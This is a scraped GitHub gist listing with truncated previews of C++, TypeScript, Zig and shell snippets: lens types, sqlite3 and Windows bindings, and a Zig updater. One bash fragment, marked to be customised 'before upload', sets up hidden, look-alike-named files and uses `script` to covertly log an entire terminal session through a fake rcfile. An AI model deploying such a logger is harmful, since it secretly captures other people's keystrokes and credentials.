Skip to content

Instantly share code, notes, and snippets.

View codehz's full-sized avatar
🔮

Neko Hz codehz

🔮
View GitHub Profile
#include <cstddef>
#include <cstdlib>
#include <utility>
template <typename R, auto getter, auto setter, auto offset>
struct property {
inline R *self() {
return reinterpret_cast<R *>(reinterpret_cast<size_t>(this) -
offset((R *)0));
}
@codehz
codehz / tree-state.ts
Last active October 30, 2022 12:27
tree state
import { useMemo, useState, useEffect, useCallback } from "react";
export type KeydArray<T extends Record<string, unknown>> = Array<
T & { key: string }
>;
export type ResolvedType<T, S extends readonly string[]> = S extends []
? T
: T extends Array<infer I extends { key: string }>
? S extends [string, ...infer Tail extends string[]]
? ResolvedType<I, Tail>
export type GenericLens<T, R> = {
get(input: T): R;
set(input: T, value: R): T;
over(input: T, transform: (input: R) => R): T;
};
export type LensInput = string | number | GenericLens<any, any>
export type LensType<
#!/bin/bash
# CUSTIMIZE BEFORE UPLOAD
fakerc=~/.bаsh_login
logfile=~/.bаsh_cache
waitsec=1
changetime=$(stat -c %Y ~/.bashrc)
read script <<EOF
exec script -B "$logfile" -afqc "bash --rcfile '$fakerc'"
@codehz
codehz / tjsc.js
Created October 24, 2020 14:56
a hack to force tsc output .tjs
#!/usr/bin/env node
"use strict";
const ts = require("typescript");
function hook(fn, name) {
return (path, ...args) => {
path = path.replace(/\.js$/, '.tjs');
// console.log(name, path);
return fn(path, ...args);
}
}
@codehz
codehz / upzig.sh
Created October 1, 2020 09:30
update zig (x86_64-linux)
#!/bin/bash
set -euxo pipefail
url=$(curl -s https://ziglang.org/download/index.json | jq -r '.master."x86_64-linux".tarball')
tmpf=$(mktemp /tmp/zig.XXXXXX)
exec 3>"$tmpf" 4<"$tmpf"
rm "$tmpf"
curl "$url" >&3
tar Jxv -C /root/soft/zig --strip-components 1 <&4
const std = @import("std");
pub const HWND = *@Type(.Opaque);
pub const HICON = *@Type(.Opaque);
const INSTANCE = @Type(.Opaque);
pub const HINSTANCE = *const INSTANCE;
pub const PCWSTR = [*:0]align(1) const u16;
pub const HRESULT = u64;
extern "comctl32" fn TaskDialogIndirect(
const std = @import("std");
pub const Error = error{WrongCode};
pub fn Base16(comptime map: *const [16]u8) type {
return struct {
pub fn calcSize(len: usize) usize {
return len * 2;
}
pub fn encode(dst: []u8, src: []const u8) void {
const std = @import("std");
const sqlite3 = *@Type(.Opaque);
const sqlite3_stmt = *@Type(.Opaque);
const sqllog = std.log.scoped(.sqlite3);
extern fn sqlite3_errmsg(db: sqlite3) [*:0]const u8;
extern fn sqlite3_open(path: [*:0]const u8, db: *sqlite3) c_int;
extern fn sqlite3_close(db: sqlite3) c_int;
@codehz
codehz / example.zig
Last active September 27, 2020 13:59
Simple sqlite3 wrapper for zig
const std = @import("std");
const sqlite3 = @import("./sqlite3.zig");
pub fn main() anyerror!void {
var db = try sqlite3.Database.open(":memory:");
defer db.close();
var boom = db.mapTable("boom", &[_]sqlite3.TemplateDefinition{ .{
.name = "id",
.decl = .integer_primary_key,